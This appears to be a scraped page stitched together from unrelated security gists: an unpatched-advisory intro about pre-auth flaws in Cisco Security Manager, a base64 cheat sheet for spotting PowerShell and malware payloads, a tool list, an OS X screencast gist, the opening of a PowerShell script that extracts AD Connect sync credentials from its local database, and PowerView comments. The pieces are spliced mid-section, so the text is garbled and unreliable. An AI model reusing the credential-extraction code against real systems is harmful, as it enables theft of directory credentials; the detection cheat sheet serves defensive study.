sanreee

TLDR

Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.

Base64 Patterns - Learning Aid

Base64 Code	Mnemonic Aid	Decoded*	Description
`JAB`	🗣 Jabber	`$.`	Variable declaration (UTF-16), e.g. `JABlAG4AdgA` for `$env:`
`TVq`	📺 Television	`MZ`	MZ header
`SUVY`	🚙 SUV	`IEX`	PowerShell Invoke Expression
`SQBFAF`	🐣 Squab favorite	`I.E.`	PowerShell Invoke Expression (UTF-16)
`SQBuAH`	🐣 Squab uahhh	`I.n.`	PowerShell Invoke string (UTF-16) e.g. `Invoke-Mimikatz`
`PAA`	💪 "Pah!"	`<.`	Often used by Emotet (UTF-16)

General purpose

Terminator - Terminal emulator
zsh - My shell of choice prezto - Configuration management for zsh

Editors

010 Editor - Hex editor
VSCode - Text editor

Low-level reversing

OS X Screencast to animated GIF

This gist shows how to create a GIF screencast using only free OS X tools: QuickTime, ffmpeg, and gifsicle.

Instructions

To capture the video (filesize: 19MB), using the free "QuickTime Player" application:

	Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
	Write-Host "`t[ Updated to support new cryptokey storage method ]`n"

	$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"

	try {
	$client.Open()
	} catch {
	Write-Host "[!] Could not connect to localdb..."
	return

	# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
	# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

	# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
	# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

	# New function naming schema:
	# Verbs:
	# Get : retrieve full raw data sets
	# Find : ‘find’ specific data entries in a data set